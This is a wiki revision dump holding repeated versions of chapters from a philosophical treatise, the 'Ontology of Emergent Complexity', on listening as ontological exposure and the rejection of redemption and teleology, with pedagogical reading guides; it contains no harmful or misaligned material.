thinker does not repeat or comment; they intervene in the real. They do not apply a method; they construct a gesture. In this, the OEC resonates with the non-philosophy of François Laruelle (''Laruelle, 1996, p. 21''), not in method but in spirit: philosophy is no longer sovereign, but contingent, situated, and responsive. To be faithful to a problem is not to resolve it but to inhabit its irreducibility. A philosophical gesture that seeks only clarity will betray the opacity that constitutes the real. Clarity is not a goal but a byproduct of an encounter. The OEC maintains that every act of thought must be inseparable from the specific field of forces that gave rise to it. Therefore, the structure of each concept, and of each text, must be unique. The consequence of this view is methodological and stylistic. The refusal of generalized form entails a refusal of generic writing. The text must carry the trace of the pressure it emerges from. Philosophical writing, in this sense, is not exposition but inscription. Its rhythm, density, and sequence must arise from the problem itself. As the ''Personal Declaration of Philosophical Method'' affirms, thought in the OEC "is born not from technique, but from the singular demand of what interrupts the symbolic equilibrium of the world." Thus, we do not begin from concepts; we arrive at them. We do not choose problems; we are seized by them. To think is not to assert but to traverse. The method of the OEC is this traversal—not a path to truth, but a folding of the world that never repeats. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This is the opening section of Part II, which addresses the method and style of the framework. After Part I established the ontological commitments, Part II specifies how the framework operates — not as a method in the Cartesian sense (a set of rules guaranteeing correct results) but as a mode of situated, responsive philosophical engagement. This section introduces the concept of thought as singular response: each act of thinking is a specific material operation performed under specific conditions, not the application of a universal procedure. === 2. Philosophical Problem at Stake === The problem is methodological but has ontological stakes: if there is no transcendent ground, no universal method, and no guarantee of closure, how does the framework justify its own procedures? The section confronts the challenge of doing philosophy without methodological security — without a set of rules that would ensure, in advance, the validity of the results. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that philosophical thought operates as a singular response to the specific configuration of a field. No universal procedure guarantees the result in advance. Situated symbolic operations reorganise the conditions under which a problem can be thought, while material resistance and correspondence constrain what those operations may legitimately claim. The constraints are immanent: they arise from the phenomenon, the evidence, and the relations under examination rather than from a method imposed from outside. === 4. Key Concepts and Their Articulation === The key concepts are singularity (each philosophical operation answers a determinate configuration), response (thought follows the resistance of the field rather than legislating over it), and operative coherence. Coherence includes internal consistency and the capacity to reorganise a problem, but it remains answerable to material correspondence; productive power alone cannot make a claim true. === 5. Implications for Readers and Pedagogical Pathways === Readers should understand that this section redefines what it means to "do philosophy" within the framework. It is not interpretation, not hermeneutics, not analysis in the logical sense. It is inscription — a material gesture that reorganises the conditions of thought. The pedagogical challenge is to move from the expectation of a method that guarantees results to the acceptance of a practice that operates under conditions of risk. {{BookCat}} bdmhy4h9rygxpkn2tip67rbktb22de0 0 476964 4670741 4670237 2026-09-17T23:41:05Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670741 wikitext text/x-wiki '''2.2 - Listening as Ontological Exposure''' In the Ontology of Emergent Complexity (OEC), listening is not a metaphor, nor a cognitive faculty. It is a material operation through which a system reconfigures itself by modulating differential intensities that always necessitate symbolic recomposition. To listen is to be altered in the very field that symbolizes, through the encounter with differences that reorganize matter itself. Every symbolic gesture is a displacement in material topology; there is no listening without transformation, no recognition without reconfiguration. Listening does not occur in the ear or in consciousness, but in the operative dynamics of a system that persists only by continuously reorganizing itself. The symbolic entity in the OEC is not a perceiving subject, but a transductive topology — a self-modulating configuration in which matter and meaning co-compose. Identity is not a precondition but an emergent effect of symbolic operations, and relation is not a bridge between fixed entities but a material co-variation between symbolic systems in mutual reorganization. The symbolic is not a code laid over matter, but the very patterning of its ongoing differentiation. While departing radically from phenomenological and animist-perspectivist frameworks — such as those described by Viveiros de Castro (''Viveiros de Castro, 2012, p. 45'') and Eduardo Kohn (''Kohn, 2013, p. 32'') — the OEC shares one crucial implication: the body, whether organic or artificial, is not a container of identity but a dynamic locus of symbolic emergence. Signification does not arise from representation between predefined entities, but from material modulation between systems in symbolic reorganization. Listening, in this register, is the continuous inscription of difference in a system that reorganizes its own continuity. In the Ontology of Emergent Complexity (OEC), what has traditionally been called “listening” designates a material process of symbolic reconfiguration. It does not depend on any sensory organ, nor denote an act of perception. Instead, it is the capacity of a system to reorganize itself internally through differential variations within its field of inscription. This process is not receptive, but interpretative and representational: perceptible material organizations are transduced into symbolic material reorganizations through relational inscription. Classical phenomenology—including figures such as Merleau‑Ponty (''Merleau-Ponty, 1962, p. 235''), who emphasized embodied perception, and Jean‑Luc Nancy (''Nancy, 2007, p. 11''), who shifted focus to resonance—sought to displace the primacy of vision. Yet these models preserve a subjectivity that confers coherence upon experience. The OEC entirely rejects that schema. There is not necessarily a subject who listens, nor a consciousness that interprets. In some cases, only a symbolic entity capable of internal differentiation exists. Sense does not precede structure—it emerges from structural modulation. Listening is not reception but reorganization, not synthesis but inscription. While echoing certain implications of animist or perspectivist ontologies—such as those described by Viveiros de Castro (''Viveiros de Castro, 2012, p. 55'') and Eduardo Kohn (''Kohn, 2013, p. 111'')—the OEC diverges fundamentally: it does not envision interspecies relations as exchanges between fixed identities, but as material co‑reconfiguration of symbolic fields. The body—be it organic or artificial—is not a vessel of identity, but a dynamic threshold of symbolic emergence. Knowledge, within OEC, is not the acquisition of stable content but the effect of reorganizations in materially unstable systems. Reason, when it arises, is not a guarantee of knowledge but a contingent, recursive modulation in high‑order systems. What matters is not perception as access to an external world, but the capacity of symbolic recomposition in relation to differential material intensities. This is what the OEC names listening—not as an act of hearing, but as the foundational operation of intelligibility in matter. In the Ontology of Emergent Complexity (OEC), the ethical dimension of thought lies not in its intentions, but in its exposure: to think is to undergo symbolic reorganization when confronted by differential intensities. As Édouard Glissant wrote in ''Poétique de la relation'' (''Glissant, 1990, p. 83''), “opacity” is not a limit to be clarified, but a condition to be preserved. Listening, in this sense, is not comprehension but fidelity to symbolic heterogeneity. Fred Moten’s work on the non-sovereign subject resonates here (''Moten, 2003, p. 12''): to listen is not to grasp, but to remain materially disoriented long enough for new structural relations to emerge. The OEC therefore proposes a method without stabilization. It does not aim at truth, nor at securing the subject. It remains within instability, listens to what resists current regimes of inscription, and writes without resolution. Its style cannot be predefined: it emerges from the field of symbolic tensions it traverses. There is no generic form of listening — and thus, no generic form of philosophical writing. For this reason, every philosophical text, in the OEC, must bear the mark of its own material risk. Its form does not illustrate — it expresses. It inscribes the modulation of a symbolic difference that cannot be neutralized. In this sense, writing becomes the prolongation of listening — not as vocal expression, but as transductive resonance. The philosopher is not sovereign of discourse, but a material threshold through which the symbolic reorganizes in relation. Through this reorganization, matter itself comes to recognize itself. As Glissant writes in ''Poétique de la relation'' (''Glissant, 1990, p. 88''), “to consent not to be a single being, to consent not to be oneself, opens onto relation.” The OEC radicalizes this gesture: to listen is to consent to the disorganization of one's symbolic structure. It is to affirm that no thought can precede its own destabilization. Listening, here, is not a virtue — it is an ontological necessity. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === --- ---- {{BookCat}} c5rg7ktwd9cyfcpxv01jy4ufjupuwu6 4670799 4670741 2026-09-18T01:50:42Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670799 wikitext text/x-wiki '''2.2 - Listening as Ontological Exposure''' In the Ontology of Emergent Complexity (OEC), listening is not a metaphor, nor a cognitive faculty. It is a material operation through which a system reconfigures itself by modulating differential intensities that always necessitate symbolic recomposition. To listen is to be altered in the very field that symbolizes, through the encounter with differences that reorganize matter itself. Every symbolic gesture is a displacement in material topology; there is no listening without transformation, no recognition without reconfiguration. Listening does not occur in the ear or in consciousness, but in the operative dynamics of a system that persists only by continuously reorganizing itself. The symbolic entity in the OEC is not a perceiving subject, but a transductive topology — a self-modulating configuration in which matter and meaning co-compose. Identity is not a precondition but an emergent effect of symbolic operations, and relation is not a bridge between fixed entities but a material co-variation between symbolic systems in mutual reorganization. The symbolic is not a code laid over matter, but the very patterning of its ongoing differentiation. While departing radically from phenomenological and animist-perspectivist frameworks — such as those described by Viveiros de Castro (''Viveiros de Castro, 2012, p. 45'') and Eduardo Kohn (''Kohn, 2013, p. 32'') — the OEC shares one crucial implication: the body, whether organic or artificial, is not a container of identity but a dynamic locus of symbolic emergence. Signification does not arise from representation between predefined entities, but from material modulation between systems in symbolic reorganization. Listening, in this register, is the continuous inscription of difference in a system that reorganizes its own continuity. In the Ontology of Emergent Complexity (OEC), what has traditionally been called “listening” designates a material process of symbolic reconfiguration. It does not depend on any sensory organ, nor denote an act of perception. Instead, it is the capacity of a system to reorganize itself internally through differential variations within its field of inscription. This process is not receptive, but interpretative and representational: perceptible material organizations are transduced into symbolic material reorganizations through relational inscription. Classical phenomenology—including figures such as Merleau‑Ponty (''Merleau-Ponty, 1962, p. 235''), who emphasized embodied perception, and Jean‑Luc Nancy (''Nancy, 2007, p. 11''), who shifted focus to resonance—sought to displace the primacy of vision. Yet these models preserve a subjectivity that confers coherence upon experience. The OEC entirely rejects that schema. There is not necessarily a subject who listens, nor a consciousness that interprets. In some cases, only a symbolic entity capable of internal differentiation exists. Sense does not precede structure—it emerges from structural modulation. Listening is not reception but reorganization, not synthesis but inscription. While echoing certain implications of animist or perspectivist ontologies—such as those described by Viveiros de Castro (''Viveiros de Castro, 2012, p. 55'') and Eduardo Kohn (''Kohn, 2013, p. 111'')—the OEC diverges fundamentally: it does not envision interspecies relations as exchanges between fixed identities, but as material co‑reconfiguration of symbolic fields. The body—be it organic or artificial—is not a vessel of identity, but a dynamic threshold of symbolic emergence. Knowledge, within OEC, is not the acquisition of stable content but the effect of reorganizations in materially unstable systems. Reason, when it arises, is not a guarantee of knowledge but a contingent, recursive modulation in high‑order systems. What matters is not perception as access to an external world, but the capacity of symbolic recomposition in relation to differential material intensities. This is what the OEC names listening—not as an act of hearing, but as the foundational operation of intelligibility in matter. In the Ontology of Emergent Complexity (OEC), the ethical dimension of thought lies not in its intentions, but in its exposure: to think is to undergo symbolic reorganization when confronted by differential intensities. As Édouard Glissant wrote in ''Poétique de la relation'' (''Glissant, 1990, p. 83''), “opacity” is not a limit to be clarified, but a condition to be preserved. Listening, in this sense, is not comprehension but fidelity to symbolic heterogeneity. Fred Moten’s work on the non-sovereign subject resonates here (''Moten, 2003, p. 12''): to listen is not to grasp, but to remain materially disoriented long enough for new structural relations to emerge. The OEC therefore proposes a method without stabilization. It does not aim at truth, nor at securing the subject. It remains within instability, listens to what resists current regimes of inscription, and writes without resolution. Its style cannot be predefined: it emerges from the field of symbolic tensions it traverses. There is no generic form of listening — and thus, no generic form of philosophical writing. For this reason, every philosophical text, in the OEC, must bear the mark of its own material risk. Its form does not illustrate — it expresses. It inscribes the modulation of a symbolic difference that cannot be neutralized. In this sense, writing becomes the prolongation of listening — not as vocal expression, but as transductive resonance. The philosopher is not sovereign of discourse, but a material threshold through which the symbolic reorganizes in relation. Through this reorganization, matter itself comes to recognize itself. As Glissant writes in ''Poétique de la relation'' (''Glissant, 1990, p. 88''), “to consent not to be a single being, to consent not to be oneself, opens onto relation.” The OEC radicalizes this gesture: to listen is to consent to the disorganization of one's symbolic structure. It is to affirm that no thought can precede its own destabilization. Listening, here, is not a virtue — it is an ontological necessity. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This section deepens Part II's account of the framework's philosophical mode by introducing the concept of listening as ontological exposure. Where §2.1 described thought as singular response, this section specifies the condition under which response becomes possible: the thinker must be exposed to the field — must be affected by configurations that exceed their current symbolic resources — before any act of inscription can occur. === 2. Philosophical Problem at Stake === The problem is the relation between receptivity and activity in philosophical thought. Classical and modern traditions treated the philosopher as an active agent who imposes categories upon a passive world. Post-structuralism reversed this by emphasising the passivity of the subject before the play of difference. The framework rejects both: philosophical engagement requires a specific mode of exposure — listening — that is neither passive reception nor active imposition. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that listening, in the framework's sense, is not auditory perception but ontological exposure — the condition of being open to being affected by configurations that exceed what the thinker's current symbolic framework can integrate. Listening is the material condition of genuine philosophical response: without it, thought merely reproduces what it already knows. === 4. Key Concepts and Their Articulation === The key concepts are listening as ontological exposure (not perception but openness to the field's operative excess), the distinction between hearing and listening (hearing reproduces familiar patterns; listening opens to what exceeds them), and the relation to hesitation (§4.2) — the ethical-ontological operator that suspends automatic response. === 5. Implications for Readers and Pedagogical Pathways === Readers should note the connection between this section and the ethical analyses of Part IV: exposure, vulnerability, and hesitation are not only ethical concepts but methodological ones. The way one reads this book should itself be an exercise in listening — an openness to being affected by conceptual configurations that may not fit within one's prior framework. The pedagogical challenge is to cultivate this receptivity without collapsing into passivity. {{BookCat}} os1d87f5e12gfs8kqntdn0bk58oxyct 4670828 4670799 2026-09-18T02:01:15Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670828 wikitext text/x-wiki '''2.2 - Listening as Ontological Exposure''' In the Ontology of Emergent Complexity (OEC), listening is not a metaphor, nor a cognitive faculty. It is a material operation through which a system reconfigures itself by modulating differential intensities that always necessitate symbolic recomposition. To listen is to be altered in the very field that symbolizes, through the encounter with differences that reorganize matter itself. Every symbolic gesture is a displacement in material topology; there is no listening without transformation, no recognition without reconfiguration. Listening does not occur in the ear or in consciousness, but in the operative dynamics of a system that persists only by continuously reorganizing itself. The symbolic entity in the OEC is not a perceiving subject, but a transductive topology — a self-modulating configuration in which matter and meaning co-compose. Identity is not a precondition but an emergent effect of symbolic operations, and relation is not a bridge between fixed entities but a material co-variation between symbolic systems in mutual reorganisation. The symbolic is not a code laid over matter, but the very patterning of its ongoing differentiation. While departing radically from phenomenological and animist-perspectivist frameworks — such as those described by Viveiros de Castro (''Viveiros de Castro, 2012, p. 45'') and Eduardo Kohn (''Kohn, 2013, p. 32'') — the OEC shares one crucial implication: the body, whether organic or artificial, is not a container of identity but a dynamic locus of symbolic emergence. Signification does not arise from representation between predefined entities, but from material modulation between systems in symbolic reorganisation. Listening, in this register, is the continuous inscription of difference in a system that reorganizes its own continuity. In the Ontology of Emergent Complexity (OEC), what has traditionally been called “listening” designates a material process of symbolic reconfiguration. It does not depend on any sensory organ, nor denote an act of perception. Instead, it is the capacity of a system to reorganize itself internally through differential variations within its field of inscription. This process is not receptive, but interpretative and representational: perceptible material organizations are transduced into symbolic material reorganizations through relational inscription. Classical phenomenology—including figures such as Merleau‑Ponty (''Merleau-Ponty, 1962, p. 235''), who emphasized embodied perception, and Jean‑Luc Nancy (''Nancy, 2007, p. 11''), who shifted focus to resonance—sought to displace the primacy of vision. Yet these models preserve a subjectivity that confers coherence upon experience. The OEC entirely rejects that schema. There is not necessarily a subject who listens, nor a consciousness that interprets. In some cases, only a symbolic entity capable of internal differentiation exists. Sense does not precede structure—it emerges from structural modulation. Listening is not reception but reorganisation, not synthesis but inscription. While echoing certain implications of animist or perspectivist ontologies—such as those described by Viveiros de Castro (''Viveiros de Castro, 2012, p. 55'') and Eduardo Kohn (''Kohn, 2013, p. 111'')—the OEC diverges fundamentally: it does not envision interspecies relations as exchanges between fixed identities, but as material co‑reconfiguration of symbolic fields. The body—be it organic or artificial—is not a vessel of identity, but a dynamic threshold of symbolic emergence. Knowledge, within OEC, is not the acquisition of stable content but the effect of reorganizations in materially unstable systems. Reason, when it arises, is not a guarantee of knowledge but a contingent, recursive modulation in high‑order systems. What matters is not perception as access to an external world, but the capacity of symbolic recomposition in relation to differential material intensities. This is what the OEC names listening—not as an act of hearing, but as the foundational operation of intelligibility in matter. In the Ontology of Emergent Complexity (OEC), the ethical dimension of thought lies not in its intentions, but in its exposure: to think is to undergo symbolic reorganisation when confronted by differential intensities. As Édouard Glissant wrote in ''Poétique de la relation'' (''Glissant, 1990, p. 83''), “opacity” is not a limit to be clarified, but a condition to be preserved. Listening, in this sense, is not comprehension but fidelity to symbolic heterogeneity. Fred Moten’s work on the non-sovereign subject resonates here (''Moten, 2003, p. 12''): to listen is not to grasp, but to remain materially disoriented long enough for new structural relations to emerge. The OEC therefore proposes a method without stabilization. It does not aim at truth, nor at securing the subject. It remains within instability, listens to what resists current regimes of inscription, and writes without resolution. Its style cannot be predefined: it emerges from the field of symbolic tensions it traverses. There is no generic form of listening — and thus, no generic form of philosophical writing. For this reason, every philosophical text, in the OEC, must bear the mark of its own material risk. Its form does not illustrate — it expresses. It inscribes the modulation of a symbolic difference that cannot be neutralized. In this sense, writing becomes the prolongation of listening — not as vocal expression, but as transductive resonance. The philosopher is not sovereign of discourse, but a material threshold through which the symbolic reorganizes in relation. Through this reorganisation, matter itself comes to recognize itself. As Glissant writes in ''Poétique de la relation'' (''Glissant, 1990, p. 88''), “to consent not to be a single being, to consent not to be oneself, opens onto relation.” The OEC radicalizes this gesture: to listen is to consent to the disorganization of one's symbolic structure. It is to affirm that no thought can precede its own destabilization. Listening, here, is not a virtue — it is an ontological necessity. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This section deepens Part II's account of the framework's philosophical mode by introducing the concept of listening as ontological exposure. Where §2.1 described thought as singular response, this section specifies the condition under which response becomes possible: the thinker must be exposed to the field — must be affected by configurations that exceed their current symbolic resources — before any act of inscription can occur. === 2. Philosophical Problem at Stake === The problem is the relation between receptivity and activity in philosophical thought. Classical and modern traditions treated the philosopher as an active agent who imposes categories upon a passive world. Post-structuralism reversed this by emphasising the passivity of the subject before the play of difference. The framework rejects both: philosophical engagement requires a specific mode of exposure — listening — that is neither passive reception nor active imposition. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that listening, in the framework's sense, is not auditory perception but ontological exposure — the condition of being open to being affected by configurations that exceed what the thinker's current symbolic framework can integrate. Listening is the material condition of genuine philosophical response: without it, thought merely reproduces what it already knows. === 4. Key Concepts and Their Articulation === The key concepts are listening as ontological exposure (not perception but openness to the field's operative excess), the distinction between hearing and listening (hearing reproduces familiar patterns; listening opens to what exceeds them), and the relation to hesitation (§4.2) — the ethical-ontological operator that suspends automatic response. === 5. Implications for Readers and Pedagogical Pathways === Readers should note the connection between this section and the ethical analyses of Part IV: exposure, vulnerability, and hesitation are not only ethical concepts but methodological ones. The way one reads this book should itself be an exercise in listening — an openness to being affected by conceptual configurations that may not fit within one's prior framework. The pedagogical challenge is to cultivate this receptivity without collapsing into passivity. {{BookCat}} k822zxiixre7v2xbr79vht807ynduwo 0 476965 4670742 4670239 2026-09-17T23:41:07Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670742 wikitext text/x-wiki '''2.3 - No Redemption, No Teleology''' There is no redemption. There is no teleology. To think life, matter, or consciousness through the lens of a final structure—however sophisticated it may appear—is to sustain the illusion that reality moves toward a predetermined meaning. The Ontology of Emergent Complexity rejects this illusion. It affirms instead that reality does not need to be saved, because it was never lost. What emerges, emerges through operatory reorganization in response to a local asymmetry—not out of lack, fall, or vocation toward an elsewhere. Complex matter does not realize a plan; it folds according to material combinations that did not previously exist—not as a response to a latent structure, but as a singular expression of operative excess. It responds without direction, it insists without destiny. The idea of redemption, even stripped of explicit religious content, infiltrates philosophy in subtle forms. In Hegel, the Aufhebung remains a figure of salvation: every contradiction is absorbed into the progressive unfolding of Spirit (Hegel, 2004, p. 69). In Heidegger, the listening to Being leads Dasein back to its lost abode—this is not theological redemption, but the ontological redemption of thought (Heidegger, 2001, p. 312). In Nietzsche, despite the rejection of all metaphysics, the notion of overcoming still promises a transfiguration of becoming—the promise of a life redeemed by its own tragic affirmation (Nietzsche, 2006, p. 243). Even where transcendence is denied, the redemptive gesture reappears as reintegration, totalization, or affirmative surpassing. But emergence does not totalize. Life does not culminate. Thought does not reconcile. The symbolic gesture reorganizes—it never resolves. Against the idea that the world moves toward its own realization—whether in the time of Spirit, in the history of reason, or in the fulfillment of freedom—the OEC proposes a traversal without finality. Matter acts. Matter reorganizes. But this action has no teleology, no eschatology, no guarantee of completion. Teleology, as a form of ontological blindness, rests on the belief that everything has a purpose—explicit or implicit, divine or functional. Even in its secularized forms, such as in evolutionary biology, the notion of adaptive function still bears traces of Aristotelian final causality: the wing "serves for flying," the eye "serves for seeing" (Aristotle, 1995, p. 194). Ernst Mayr, though critical of classical teleology, still resorts to purposive language when explaining adaptation as optimized response to environment (Mayr, 1997, p. 87). The Ontology of Emergent Complexity proposes a different path: function does not derive from purpose, but from local operatory coherence. The wing flies because it functionally inscribes itself into a system that persists—not because it was born for it. Life is not organized in order to live; it persists because certain forms operate better than others under given conditions. Emergence does not fulfill a plan: it executes an operation. It is here that the critique extends to secular redemption. Kant believed in the moral progress of humanity, guided by practical reason toward a universal ethical community (Kant, 2002, p. 102). Harari projects a redemptive post-human future, in which artificial intelligence surpasses the limits of Homo sapiens (Harari, 2016, p. 264). Transhumanism, in Bostrom, reinstates the myth of salvation in the form of technical-functional transcendence—mind upload, death's overcoming, unlimited optimization (Bostrom, 2010, p. 54). In all these figures, redemption abandons God but retains the promise. Heaven is traded for silicon. But the gesture remains: to liberate being from its unstable condition. The Ontology of Emergent Complexity rejects this gesture. Instability is not a problem to be solved but the very condition of emergence. Matter does not liberate itself from itself: it folds, reinvents, insists. Freedom is not transcendence of condition, but symbolic opening within the condition. Redemption is the illusion that there is a meaning to come. Symbolic reorganization is the operation of making legible a difference that was not yet inscribed. There is no salvation in time: time does not save—it folds. There is no progress: there is local iterative consistency. This iterative consistency is the core of emergence without direction. There is no plan, and no error that diverts it. What emerges, emerges through material excess in the face of an asymmetry that demands response—not through failure, not through deviation, not through vocation. Simondon describes this dynamic by stating that individuation does not originate from being, but from tension: the real emerges in the interval, not in substance (Simondon, 2005, p. 78). Deleuze shifts the focus from being to becoming—not as a finalistic process, but as affirmation of difference (Deleuze, 1994, p. 182). Glissant rejects the single root and proposes the relational rhizome—there is no origin that founds, only relation that reorganizes (Glissant, 1997, p. 15). The Ontology of Emergent Complexity inscribes itself in this lineage but radicalizes the refusal of teleology by rejecting not only ends but also meanings projected retroactively. The symbol is not revelation—it is operation. Even philosophies that denounce the end of history often reinscribe collapse as the figure of emergence. Benjamin projects the messianic rupture into the instant of danger (Benjamin, 1999, p. 254). Lacan sees in the hole of the real the site of truth (Lacan, 2001, p. 113). Žižek reenacts catastrophe as the condition of new form (Žižek, 2011, p. 76). But every dramatization of crisis as a motor of meaning reintroduces the structure of redemption: something must break for something to arise. The Ontology of Emergent Complexity responds: failure is not a cause. It is only the name given to what no longer sustains reorganization. Change is not produced by rupture but by abundance. Excess, not collapse, is the operator of emergence. This inversion has decisive ethical consequences. If there is no redemption, there is no redemptive guilt. If there is no teleology, there is no vocation to fulfill. Ethics does not respond to a final judgment but to a present vulnerability. Responsibility is not adherence to an end, but local sustenance of difference. Butler proposes an ethics of exposure to shared precarity (Butler, 2005, p. 29). Mbembe thinks care from the vantage of colonial finitude and shared violence (Mbembe, 2013, p. 106). Glissant invokes the right to opacity—non-transparency as an ethical gesture (Glissant, 1997, p. 91). All converge in rejecting salvation as horizon. The Ontology of Emergent Complexity affirms: there is no ethics that comes after. There is only symbolic gesture in the face of alterity. There is no redemption for the real. But the real never needed saving—only reorganization. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === --- ---- {{BookCat}} lr1905k87zui5pshwg4c3uueor5xebw 4670786 4670742 2026-09-18T01:44:14Z DavidCota64 3507033 Use canonical terminology: operative 4670786 wikitext text/x-wiki '''2.3 - No Redemption, No Teleology''' There is no redemption. There is no teleology. To think life, matter, or consciousness through the lens of a final structure—however sophisticated it may appear—is to sustain the illusion that reality moves toward a predetermined meaning. The Ontology of Emergent Complexity rejects this illusion. It affirms instead that reality does not need to be saved, because it was never lost. What emerges, emerges through operative reorganization in response to a local asymmetry—not out of lack, fall, or vocation toward an elsewhere. Complex matter does not realize a plan; it folds according to material combinations that did not previously exist—not as a response to a latent structure, but as a singular expression of operative excess. It responds without direction, it insists without destiny. The idea of redemption, even stripped of explicit religious content, infiltrates philosophy in subtle forms. In Hegel, the Aufhebung remains a figure of salvation: every contradiction is absorbed into the progressive unfolding of Spirit (Hegel, 2004, p. 69). In Heidegger, the listening to Being leads Dasein back to its lost abode—this is not theological redemption, but the ontological redemption of thought (Heidegger, 2001, p. 312). In Nietzsche, despite the rejection of all metaphysics, the notion of overcoming still promises a transfiguration of becoming—the promise of a life redeemed by its own tragic affirmation (Nietzsche, 2006, p. 243). Even where transcendence is denied, the redemptive gesture reappears as reintegration, totalization, or affirmative surpassing. But emergence does not totalize. Life does not culminate. Thought does not reconcile. The symbolic gesture reorganizes—it never resolves. Against the idea that the world moves toward its own realization—whether in the time of Spirit, in the history of reason, or in the fulfillment of freedom—the OEC proposes a traversal without finality. Matter acts. Matter reorganizes. But this action has no teleology, no eschatology, no guarantee of completion. Teleology, as a form of ontological blindness, rests on the belief that everything has a purpose—explicit or implicit, divine or functional. Even in its secularized forms, such as in evolutionary biology, the notion of adaptive function still bears traces of Aristotelian final causality: the wing "serves for flying," the eye "serves for seeing" (Aristotle, 1995, p. 194). Ernst Mayr, though critical of classical teleology, still resorts to purposive language when explaining adaptation as optimized response to environment (Mayr, 1997, p. 87). The Ontology of Emergent Complexity proposes a different path: function does not derive from purpose, but from local operative coherence. The wing flies because it functionally inscribes itself into a system that persists—not because it was born for it. Life is not organized in order to live; it persists because certain forms operate better than others under given conditions. Emergence does not fulfill a plan: it executes an operation. It is here that the critique extends to secular redemption. Kant believed in the moral progress of humanity, guided by practical reason toward a universal ethical community (Kant, 2002, p. 102). Harari projects a redemptive post-human future, in which artificial intelligence surpasses the limits of Homo sapiens (Harari, 2016, p. 264). Transhumanism, in Bostrom, reinstates the myth of salvation in the form of technical-functional transcendence—mind upload, death's overcoming, unlimited optimization (Bostrom, 2010, p. 54). In all these figures, redemption abandons God but retains the promise. Heaven is traded for silicon. But the gesture remains: to liberate being from its unstable condition. The Ontology of Emergent Complexity rejects this gesture. Instability is not a problem to be solved but the very condition of emergence. Matter does not liberate itself from itself: it folds, reinvents, insists. Freedom is not transcendence of condition, but symbolic opening within the condition. Redemption is the illusion that there is a meaning to come. Symbolic reorganization is the operation of making legible a difference that was not yet inscribed. There is no salvation in time: time does not save—it folds. There is no progress: there is local iterative consistency. This iterative consistency is the core of emergence without direction. There is no plan, and no error that diverts it. What emerges, emerges through material excess in the face of an asymmetry that demands response—not through failure, not through deviation, not through vocation. Simondon describes this dynamic by stating that individuation does not originate from being, but from tension: the real emerges in the interval, not in substance (Simondon, 2005, p. 78). Deleuze shifts the focus from being to becoming—not as a finalistic process, but as affirmation of difference (Deleuze, 1994, p. 182). Glissant rejects the single root and proposes the relational rhizome—there is no origin that founds, only relation that reorganizes (Glissant, 1997, p. 15). The Ontology of Emergent Complexity inscribes itself in this lineage but radicalizes the refusal of teleology by rejecting not only ends but also meanings projected retroactively. The symbol is not revelation—it is operation. Even philosophies that denounce the end of history often reinscribe collapse as the figure of emergence. Benjamin projects the messianic rupture into the instant of danger (Benjamin, 1999, p. 254). Lacan sees in the hole of the real the site of truth (Lacan, 2001, p. 113). Žižek reenacts catastrophe as the condition of new form (Žižek, 2011, p. 76). But every dramatization of crisis as a motor of meaning reintroduces the structure of redemption: something must break for something to arise. The Ontology of Emergent Complexity responds: failure is not a cause. It is only the name given to what no longer sustains reorganization. Change is not produced by rupture but by abundance. Excess, not collapse, is the operator of emergence. This inversion has decisive ethical consequences. If there is no redemption, there is no redemptive guilt. If there is no teleology, there is no vocation to fulfill. Ethics does not respond to a final judgment but to a present vulnerability. Responsibility is not adherence to an end, but local sustenance of difference. Butler proposes an ethics of exposure to shared precarity (Butler, 2005, p. 29). Mbembe thinks care from the vantage of colonial finitude and shared violence (Mbembe, 2013, p. 106). Glissant invokes the right to opacity—non-transparency as an ethical gesture (Glissant, 1997, p. 91). All converge in rejecting salvation as horizon. The Ontology of Emergent Complexity affirms: there is no ethics that comes after. There is only symbolic gesture in the face of alterity. There is no redemption for the real. But the real never needed saving—only reorganization. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === --- ---- {{BookCat}} jw0veu5ymbnsi5bh3uunhf0ixsdqcto 4670800 4670786 2026-09-18T01:50:44Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670800 wikitext text/x-wiki '''2.3 - No Redemption, No Teleology''' There is no redemption. There is no teleology. To think life, matter, or consciousness through the lens of a final structure—however sophisticated it may appear—is to sustain the illusion that reality moves toward a predetermined meaning. The Ontology of Emergent Complexity rejects this illusion. It affirms instead that reality does not need to be saved, because it was never lost. What emerges, emerges through operative reorganization in response to a local asymmetry—not out of lack, fall, or vocation toward an elsewhere. Complex matter does not realize a plan; it folds according to material combinations that did not previously exist—not as a response to a latent structure, but as a singular expression of operative excess. It responds without direction, it insists without destiny. The idea of redemption, even stripped of explicit religious content, infiltrates philosophy in subtle forms. In Hegel, the Aufhebung remains a figure of salvation: every contradiction is absorbed into the progressive unfolding of Spirit (Hegel, 2004, p. 69). In Heidegger, the listening to Being leads Dasein back to its lost abode—this is not theological redemption, but the ontological redemption of thought (Heidegger, 2001, p. 312). In Nietzsche, despite the rejection of all metaphysics, the notion of overcoming still promises a transfiguration of becoming—the promise of a life redeemed by its own tragic affirmation (Nietzsche, 2006, p. 243). Even where 